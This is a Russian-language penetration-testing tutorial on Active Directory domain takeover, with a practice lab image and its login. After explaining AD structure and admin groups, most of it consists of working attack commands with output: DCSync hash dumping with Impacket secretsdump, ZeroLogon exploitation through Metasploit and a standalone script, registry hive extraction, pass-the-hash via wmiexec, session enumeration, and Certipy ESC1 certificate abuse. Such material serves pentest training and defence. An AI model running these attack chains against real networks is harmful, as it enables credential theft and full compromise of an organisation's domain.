Захват домена


Общая информация

Каталог (Directory, хранилище данных) — в контексте компьютерной сети, иерархическая структура, хранящая информацию об объектах в сети. Объекты  - это серверы, общие тома и принтеры, учетные записи пользователей, рабочие станции, домены, приложения, службы, политики безопасности и почти все остальное в вашей сети.

Служба каталогов (Directory Service) — является как источником информации каталога, так и службой, делающей информацию доступной и полезной для администраторов, пользователей, сетевых служб и приложений. Active Directory™, служба каталогов, которая хранит информацию о сетевых объектах, а также реализует службы, которые делают эту информацию доступной и полезной для пользователей, компьютеров и приложений.

Объекты (Objects) — это сущности, составляющие сеть, отдельный именованный набор атрибутов, представляющий что-то конкретное, например, пользователя, принтер или приложение.

Схема (Schema) — это описание классов объектов (различных типов объектов) и атрибутов для этих классов объектов. Для каждого класса объектов схема определяет атрибуты, которые должен иметь этот класс объектов, дополнительные атрибуты, которые он может иметь, и класс объектов, который может быть его родителем. Каждый объект Active Directory является экземпляром класса объекта. Каждый атрибут определяется только один раз и может использоваться в нескольких классах. Например, атрибут Description определяется один раз, но используется во многих различных классах.

Домены — это объекты-контейнеры, или набор административно определенных объектов, которые имеют общую базу данных каталога, политики безопасности и доверительные отношения с другими доменами. Таким образом, каждый домен является административной границей для объектов. Один домен может охватывать несколько физических мест или сайтов, и содержать миллионы объектов.

Дерево домена (Domain Tree) — состоит из нескольких доменов, которые имеют общую схему и конфигурацию, образуя непрерывное пространство имен. Домены в дереве также связаны между собой доверительными отношениями. Active Directory представляет собой набор из одного или нескольких деревьев.

Лес (Forest) — это набор из одного или нескольких деревьев доменов, которые не образуют непрерывное пространство имен. Все деревья в лесу имеют общую схему, конфигурацию и глобальный каталог. Все деревья в данном лесу обмениваются доверием в соответствии с транзитивными иерархическими отношениями доверия Kerberos. В отличие от деревьев, лес не требует отдельного имени. Лес существует как набор объектов перекрестных ссылок и доверительных отношений Kerberos, распознаваемых входящими в него деревьями. Деревья в лесу образуют иерархию для целей доверия Kerberos. Имя дерева в корне дерева доверия относится к данному лесу.

Доверительные отношения (Trust Relationship) — это отношения, установленные между двумя доменами, которые позволяют пользователям одного домена быть распознанными контроллером домена в другом домене. Доверительные отношения позволяют пользователям получать доступ к ресурсам в другом домене, а также позволяют администраторам управлять правами пользователей в другом домене.  На уровне леса доверительные отношения создаются автоматически между корневым доменом леса и корневым доменом каждого дерева доменов, добавленного в лес, в результате чего между всеми доменами в лесу Active Directory существует полное доверие.

Захват домена - получение уровня доступа управления контроллером домена из под учетной записи, которая имеет соответствующие права.

Способы захвата контроллер домена

По умолчанию наивысшие права в домене имеет учетная запись из группы Enterprise Admins.

Администраторы предприятия (Enterprise Admins) — это встроенная группа, находится в контейнере Users корневого домена леса, которая по умолчанию имеет административный доступ ко всем доменам в лесу. Enterprise Admins представляет полный доступ к конфигурации всех контроллеров домена. Существует очень мало задач, требующих использования учетной записи Enterprise Admins. 

Администраторы (Administrators) – находится в контейнере Builtin каждого домена. Эта группа имеет полный доступ ко всем контроллерам домена и данным в контексте именования домена. Она может изменять членство во всех административных группах домена, а группа Администраторы (Administrators) в корневом домене леса может изменять членство в группах Администраторы предприятия (Enterprise Admins), Администраторы Схемы (Schema Admins) и Администраторы домена (Domain Admins). 

Администраторы домена (Domain Admins) – находятся в контейнере Users каждого домена. Эта группа входит в группу Администраторы своего домена. Поэтому она наследует все полномочия группы Администраторы. Кроме того, она по умолчанию входит в локальную группу Администраторы каждого рядового компьютера домена, в результате чего администраторы домена получают в свое распоряжение все компьютеры домена.

Возможности групп Администраторов

Получив права доступа в одной из этих групп, мы можем управлять конфигурацией Домена или даже Леса. Мы можем получить доступ или изменить любые данные учетных записей, машин, сервисов и пр. А также управлять любой машиной в домене и любой учетной записью.

Также можем выгрузить все секреты, ключи, хеши пользователей и пр. учетных записей из контроллера домена и пользоваться ими для создания токенов доступа или входа в машины.

Для эксплуатации такой возможности зачастую используется утилита SecretsDump.py пакета Impacket, выполняющая атаку под названием DCSync Attack.

DCSync Attack

Разрешение DCSync подразумевает наличие таких разрешений на сам домен: DS-Replication-Get-Changes, Replicating Directory Changes All и Replicating Directory Changes In Filtered Set.

Важные замечания о DCSync:

Атака DCSync имитирует поведение контроллера домена и просит другие контроллеры домена реплицировать информацию с помощью протокола Directory Replication Service Remote Protocol (MS-DRSR). Поскольку MS-DRSR является действительной и необходимой функцией Active Directory, его нельзя отключить или деактивировать.
По умолчанию только администраторы домена, администраторы предприятия, администраторы и группы контроллеров домена имеют необходимые привилегии.

SecretsDump

Утилита secretsdump выполняет атаку DCSync Attack и выполняет различные техники для извлечения хэшей с удаленной машины без выполнения на ней какого-либо агента. Для SAM и LSA Secrets (включая кэшированные учетные данные) утилита пытается прочитать как можно больше из реестра, затем сохраняет хэши в целевой системе (%SYSTEMROOT%\\\Temp dir) и читает остальные данные оттуда.

Для NTDS.dit:

Пример выполнения команды: 

python3 secretsdump.py test.local/john:password123@10.10.10.1

Файл ntds.dit представляет собой базу данных, в которой хранится информация Active Directory, такая, как сведения о пользователях, группах и членстве в группах. База также включает хеши паролей для всех пользователей в домене.

 

Пример захвата управления

Есть доступ к машине с ОС Windows, задача — взломать контроллер домена, извлечь данные объектов домена и закрепить доступ в домене.

Ход действий

1. Проведем сканирование сервера с помощью nmap: 

nmap -Pn -n -F -v --open 192.168.0.117

Список портов типичен для контроллера домена: помимо стандартных для Windows портов SMB, MS-RPC и NetBIOS присутствует также DNS-сервер на порту 53, сервер используемого для авторизации в домене протокола Kerberos на 88 и протокол доступа к каталогам LDAP на 389.

2. Попробуем определить версию DNS-сервера с помощью сканирования SMB-порта с помощью скриптов nmap: 

nmap -Pn -n -p 445 -sV -sC -v --open 192.168.0.117

Данная версия Windows Server, выполняющего роль контроллера домена, может быть подвержена ZeroLogon – уязвимости, позволяющей получить полный доступ к контроллеру домена без учетных данных.

3. Используем средства Metasploit Framework для проверки сервера на эту уязвимость: 

msfconsole
msf6> search zerologon
msf6> use auxiliary/admin/dcerpc/cve_2020_1472_zerologon

4. Указываем IP сервера и его NetBIOS имя, ранее полученное при сканировании nmap, проверим и запустим эксплуатацию: 

msf6> set RHOSTS 192.168.0.117
msf6> set NBNAME DC1
msf6> check
msf6> run

Данная техника эксплуатации приводит к установке пустого пароля машинного аккаунта контроллера домена, что может повлечь нарушение работы домена в целом.

5. Для корректной эксплуатации нам нужно сначала получить учетные данные администратора домена, а затем, используя их, восстановить старый пароль машинного аккаунта. Используем для этого impacket — набор инструментов для работы с протоколами сетевого и прикладного уровня в Python, позволяющего взаимодействовать с Windows-сетями из Linux и вести тестирование их безопасности. 

locate impacket

6. Ключевым инструментом на этом шаге будет secretsdump – скрипт, используемый для получения учетных данных с удаленных Windows-компьютеров или локальных файлов реестра. 

python3 /usr/lib/python3/dist-packages/impacket/examples/secretsdump.py
impacket-secretsdump -h

7. Используем secretsdump для получения NTLM-хэша администратора домена. Ключ -just-dc-user позволяет получить хэш нужного нам пользователя, -no-pass указывает на то, что пароль машинного аккаунта пустой, sandbox.local – имя домена, DC1$ - имя машинной учетной записи, а IP 192.168.0.117 – адрес контроллера домена. 

impacket-secretsdump -no-pass -just-dc-user administrator 'sandbox.local/DC1$@192.168.0.117'

8. Для восстановления пароля машинной учетной записи нам необходимо вытащить его из реестра Windows, для чего мы можем подключиться к контроллеру домена с помощью инструмента wmiexec, который используется для выполнения команд на удаленной системе Windows через WMI (Windows Management Instrumentation).

9. Укажем ранее полученный хэш администратора и проверим права после подключения: 

$ impacket-wmiexec -hashes <hash> 'sandbox.local/administrator@192.168.0.117'
C:\> whoami

10. Сохраним интересующие нас ветки реестра в отдельные файлы: 

C:\> reg save HKLM\SYSTEM system.save
C:\> reg save HKLM\SAM sam.save
C:\> reg save HKLM\SECURITY security.save

11. Скачаем эти файлы на локальную машину: 

C:\> lget system.save
C:\> lget sam.save
C:\> lget security.save

И удалим их:

C:\> del /f system.save security.save sam.save

12. Локально проанализируем эти файлы с помощью impacket-secretsdump: 

impacket-secretsdump -sam sam.save -system system.save -security security.save LOCAL

13. Теперь, когда мы получили старый пароль машинного аккаунта из секретов LSA, мы можем вновь запустить эксплойт из msf, но уже в режиме восстановления пароля: 

$ msfconsole
msf6> use auxiliary/admin/dcerpc/cve_2020_1472_zerologon
msf6> set RHOSTS 192.168.0.17
msf6> set NBNAME DC1

14. Опции при этом останутся прежними, кроме двух новых: ACTION – выбора действия и PASSWORD – значения пароля машинного аккаунта в HEX и восстановим пароль: 

msf6> set ACTION RESTORE
msf6> set PASSWORD <$MACHINE.ACC hex password>
msf6> run

15. Убедимся, что доступ сохранился: 

$ impacket-wmiexec -hashes <hash> 'sandbox.local/administrator@192.168.0.117'

 


Уязвимости

Примеры уязвимостей

Zerologon

Zerologon — уязвимость CVE-2020-1472. Проблема Netlogon: вектор инициализации (IV), который должен был бы представлять собой случайное число, всегда состоит из одних нулей. Полный разбор эксплойта тут

Эксплуатация

1. Сброс пароля при помощи эксплойта

python3 cve-2020-1472-exploit.py -n 'DC01$' -t 10.10.0.1

2. Реализация атаки DCSync с пустым паролем: 

python3 secretsdump.py -no-pass -just-dc 'domain.local/DC01$@10.10.0.1'

3. Получаем NT-хеш администратора с “относительным идентификатором” (relative identifier) RID 500 и используем его для получения доступа к управлению контроллером через WMI с помощью утилиты пакета Impacket: wmiexec.py: 

python3 wmiexec.py -hashes <hash-value> 'domain.local/DC01$@10.10.0.1'

После успешного изменения пароля DC сервер Active Directory работает некорректно. Чтобы DC продолжал нормально работать, необходимо переустановить исходный хэш пароля.

4. Создаем и скачиваем резервные копии реестра для восстановления пароля DC: 

reg save HKLM\SYSTEM system.save
reg save HKLM\SAM sam.save
reg save HKLM\SECURITY security.save
lget system.save
lget sam.save
lget security.save
del /f system.save
del /f sam.save
del /f security.save

5. Извлекаем пароль из извлеченных копий реестра: 

python3 secretsdump.py -sam sam.save -system system.save -security security.save LOCAL

6. Получаем пароль машины контроллера домена в строке: $MACHINE.ACC:plain_password_hex:b4d1....

7. И инсталлируем хеш машины обратно: 

python3 reinstall_original_pw.py DC-01$ 10.10.0.1 b4d1….

Кража учетных данных, токенов и сессий привилегированных учетных записей

Распространен в сетях, незрелых с точки зрения ИБ.

Пример

Вы компрометируете машину в домене при помощи эксплойта и получаете доступ уровня NT Authority/System:

  1. Вы извлекаете учетные данные, ключи и токены доступа из скомпрометированной машины.
  2. Вы пытаетесь переиспользовать полученные доступы в рамках доступной вам сети, подключаясь с полученными данными к сервисам SMB, HTTP, MSSQL, RPC, WMI и пр.
  3. Вы обнаруживаете прочие машины, на которые у вас есть доступ уровня локального администратора.
  4. На скомпрометированных машинах вы вновь извлекаете учетные записи, секреты и токены доступа, уже новых для вас учетных записей.
  5. Так вы повторяете шаги, пока не получите учетные данные кого-либо из групп: Administrators, Domain Admins, Enterprise Admins.
  6. Как только вы получаете эти учетные записи, вы сможете получить доступ к контроллеру домена по WMI или SMB, или выполнить атаку DCSync.

Привилегированные группы

Есть группы, чьи привилегии позволяют нам получить доступ к группам первой тройки.

Подробности использования

 

Сбор информации об объектах

При таком подходе основное время уйдет на разведку в домене и энумерацию учетных записей. 

Важные данные при сборе информации:

Энумерация сессий

При получении доменной учетной записи появится возможность обращаться к машинам в домене и узнавать, какие активные сессии находятся на машинах. Можно использовать netview пакета Impacket: 

netview.py -target 192.168.1.10 username, где пароль необходимо будет ввести через строку ввода.

Выгрузка всех машин домена и получение информации о актуальных сессиях. 

netview.py domain.local/username

Также извлекать информацию о сессиях на машинах в AD возможно при помощи фреймворка PowerSploit и утилиты PowerView: 

Get-NetLoggedon -ComputerName <servername>
Get-NetSession -ComputerName <servername>
Get-LoggedOnLocal -ComputerName <servername>
Get-LastLoggedon -ComputerName <servername>
Get-NetRDPSession -ComputerName <servername>

Сбор информации о пользователях и сессиях

Инструменты разведки в Active Directory

Windows: 

Linux:

BloodHound

Ссылка на проект

BloodHound использует теорию графов для выявления скрытых и часто непредусмотренных взаимосвязей в среде Active Directory или Azure. 

Пентестеры могут использовать BloodHound для легкого выявления очень сложных путей атаки, которые иначе невозможно было бы быстро определить. 

Защитники могут использовать BloodHound для выявления и устранения таких же путей атаки. Как "синие", так и "красные" команды могут использовать BloodHound для более глубокого понимания отношений привилегий в среде Active Directory или Azure.


Миссконфигурация сервисов в AD

Например:

Certipy

Certipy предназначена для автоматизации процесса генерации и управления сертификатами и ключами шифрования в сетевых приложениях на языке Python. Она предоставляет набор инструментов для создания и управления сертификатами X.509, которые могут быть использованы для обеспечения безопасной передачи данных через сети, например, для шифрования трафика HTTPS.

Эксплуатация с Certipy

Запрос сертификата по шаблону создания сертификата для другого пользователя: 

$ certipy req -username john@corp.local -password Passw0rd -ca corp-DC-CA -target ca.corp.local -template ESC1-Test -upn administrator@corp.local -dns dc.corp.local

Certipy v4.0.0 - by Oliver Lyak (ly4k)

[*] Requesting certificate via RPC
[*] Successfully requested certificate
[*] Request ID is 780
[*] Got certificate with multiple identifications

    UPN: 'administrator@corp.local'
    DNS Host Name: 'dc.corp.local'

[*] Certificate has no object SID
[*] Saved certificate and private key to 'administrator_dc.pfx'

Запрос TGT и получение NT хеша с использованием полученного ранее сертификата: 

$ certipy auth -pfx administrator_dc.pfx -dc-ip 172.16.126.128

Certipy v4.0.0 - by Oliver Lyak (ly4k)

[*] Found multiple identifications in certificate
[*] Please select one:

    [0] UPN: 'administrator@corp.local'

    [1] DNS Host Name: 'dc.corp.local'

> 1
[*] Using principal: dc$@corp.local
[*] Trying to get TGT...
[*] Got TGT
[*] Saved credential cache to 'dc.ccache'
[*] Trying to retrieve NT hash for 'dc$'
[*] Got NT hash for 'dc$@corp.local': 36a50f712629962b3d5a3641529187b0

Дополнительные ресурсы

 

Практика

Стенд:  WinServer2016.v2.7z (зеркала: Яндекс.Диск и OneDrive)

Логин: master Пароль: Qwerty123